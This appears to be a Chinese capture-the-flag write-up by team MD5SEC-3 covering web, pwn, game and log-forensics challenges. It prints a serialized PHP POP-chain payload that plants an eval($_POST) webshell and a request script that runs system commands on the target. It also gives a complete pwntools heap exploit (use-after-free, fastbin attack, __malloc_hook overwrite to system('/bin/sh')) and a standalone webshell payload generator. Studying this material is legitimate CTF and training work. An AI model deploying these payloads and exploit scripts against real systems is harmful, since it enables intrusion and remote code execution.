第二届铸剑杯 Wp

排名:第 73 名

战队名称：MD5SEC-3

解题思路

Web:

浅析 PHP 原生类

漏洞原理 1. 反序列化入口 目标页面 config.php 存在反序列化入口，类似：php 复制 unserialize($_POST['data']);
2. 利用 ZipArchive 原生类 PHP 原生类 ZipArchive 的 open($filename, $flags) 方法：当 $flags = 8(ZipArchive::CREATE | ZipArchive::OVERWRITE) 时， 即使不调用 close()，只要触发 __destruct 或引用计数归零，就会创建空文件。
3. 构造 POP 链 我们嵌套两层 install 对象，把 Until 对象作为 username，最终让： ZipArchive::open("install.lock", 8) 被调用 同时把 <?php @eval($_POST[1]);?> 写入文件 本地生成 Payload new.php

O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A5%3A%22Until%22%3A4%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22ZipArchive%22%3Bs%3A1%3A%22b%22%3Bs%3A12%3A%22install.lock%22%3Bs%3A1%3A%22c%22%3Bi%3A8%3Bs%3A5%3A%22shell%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bs%3

A3%3A%22123%22%3B%7D

http://78b70e08.clsadp.com////index.php?data=O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A5%3A%22Until%22%3A4%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22ZipArchive%22%3Bs%3A1%3A%22b%22%3Bs%3A12%3A%22install.lock%22%3Bs%3A1%3A%22c%22%3Bi%3A8%3Bs%3A5%3A%22shell%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bs%3A3%3A%22123%22%3B%7D

```
import requests

# 目标 URL 和 POST 数据
url = "http://78b70e08.clsadp.com////config.php"
data = {
    "1": "system('cat /flag');"  # 与 curl 的-d 参数内容完全一致
}

try:
    # 发送 POST 请求（模拟 curl -X POST）
    response = requests.post(
        url,
        data=data,
        timeout=15,
        headers={"Content-Type": "application/x-www-form-urlencoded"}
    )
    # 输出响应结果
    print("请求状态码：", response.status_code)
    print("响应内容（flag 可能在此）：", response.text.strip())
except Exception as e:
    print("请求失败！错误信息：", str(e))

    flag{e8a1fec8793c7fe0e42df8f9bf66abe2}
```

PWN：

我不吃牛肉

```
void *malloc(size_t size)
{
  void *v1; // rcx
  void *result; // rax
  __int64 sizea; // [rsp+0h] [rbp-10h]
  int v4; // [rsp+Ch] [rbp-4h]

  puts("index:");
  v4 = sub_ABF();
  puts("size:");
  sizea = sub_ABF();
  v1 = malloc(sizea);
  result = heap_list;
  heap_list[v4] = v1;
  return result;
}
```

可以申请任意大小 chunk

```
void free(void *ptr)
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index:");
  v1 = sub_ABF();
  free((void *)heap_list[v1]);
}
```

存在一个 uaf 漏洞

```
ssize_t sub_B8E()
{
  int v1; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  puts("index:");
  v2 = sub_ABF();
  puts("length:");
  v1 = sub_ABF();
  puts("content:");
  return read(0, (void *)heap_list[v2], v1);
}
```

还存在溢出漏洞

可以打 fastbin attack 进行一些有 0x7f 之类的地址。
可以打 malloc_hook 劫持，然后利用控制 malloc 的 size 来实现 system 调用 shell。

```
from pwn import *

p = process('./pwn')
libc = ELF('./libc.so.6')

def malloc(idx, size):
    p.sendlineafter(':', '8')
    p.sendlineafter(':', str(idx))
    p.sendlineafter(':', str(size))

def free(idx):
    p.sendlineafter(':', '15')
    p.sendlineafter(':', str(idx))

def edit(idx, size, data):
    p.sendlineafter(':', '18')
    p.sendlineafter(':', str(idx))
    p.sendlineafter(':', str(size))
    p.sendlineafter(':', data)

def show(idx):
    p.sendlineafter(':', '20')
    p.sendlineafter(':', str(idx))

# 1. leak libc
malloc(0, 0x500)
malloc(1, 0x10)
malloc(2, 0x60)
free(0)
show(0)
p.recvline()
leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
libc_base = leak - 0x3c4b78
log.info("libc_base: " + hex(libc_base))

# 2. fastbin attack → malloc_hook
malloc_hook = libc_base + 0x3c4b10
system_addr = libc_base + 0x453a0
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

free(2)
```

```
edit(2, 0x8, p64(malloc_hook - 0x23))  # fake chunk 0x7f
malloc(0, 0x60)
malloc(1, 0x60)  # 此时返回的是 malloc_hook-0x23 的 chunk

# 3. overwrite malloc_hook with system
payload = b'a' * 0x13 + p64(system_addr)
edit(1, len(payload), payload)

# 4. trigger malloc("/bin/sh") → system("/bin/sh")
malloc(2, binsh_addr)

p.interactive()
```

Game:

我勒个超级玛丽奥

玩通关就得到 flag

flag{5e2621c1352d15e5d74b5f79e65812e2}

CDF:

可恶的木马竟然伪装成我的朋友

分析步骤:

① 提取该 IP 当天所有记录

```
grep "183.62.9.42" ex180223.log > 183.log
```

② 筛选首次出现的 .jsp 访问

```
awk '$7 ~ /\.jsp/ && !seen[$7]++ {print $4,$7}' 183.log | sort
```

表格 复制

时间（日志时间戳）	请求路径
21:02:20	/sxzn/table.jsp → 404
21:02:32	/sxzn/js/My97DatePicker/lang/en.jsp → 200
21:04:39	/sxzn/2.jsp → 200

只保留首次出现，忽略重复 GET/POST。
③ 按时间顺序提取文件名 table.jsp en.jsp 2.jsp 连起来：table.jsp-en.jsp-2.jsp

flag{2018-2-23/183.62.9.42/table.jsp-en.jsp-2.jsp}

```
<?php
class install {
    private $username;
    private $password;

    public function __construct() {
        $until = new Until();

        // 使用 ZipArchive 创建文件
        $until->a = 'ZipArchive';
        $until->b = 'shell.php';        // 要创建的文件名
        $until->c = 8;                  // ZipArchive::CREATE |
```

```
ZipArchive::OVERWRITE
        $until->content = '<?php eval($_POST["cmd"]);?>';

        $this->username = $until;
        $this->password = '123';
    }
}

class Until {
    public $a;
    public $b;
    public $c;
    public $content;
}

// 生成载荷
$payload = urlencode(serialize(new install()));
echo "=== 反序列化利用载荷 ===\n\n";
echo "Payload: data=" . $payload . "\n\n";
echo "原始序列化数据:\n";
echo serialize(new install()) . "\n";
```

```
// 生成测试用的完整URL
echo "\n完整测试URL:\n";
echo "http://target.com/config.php?data=" . $payload . "\n";
?>
```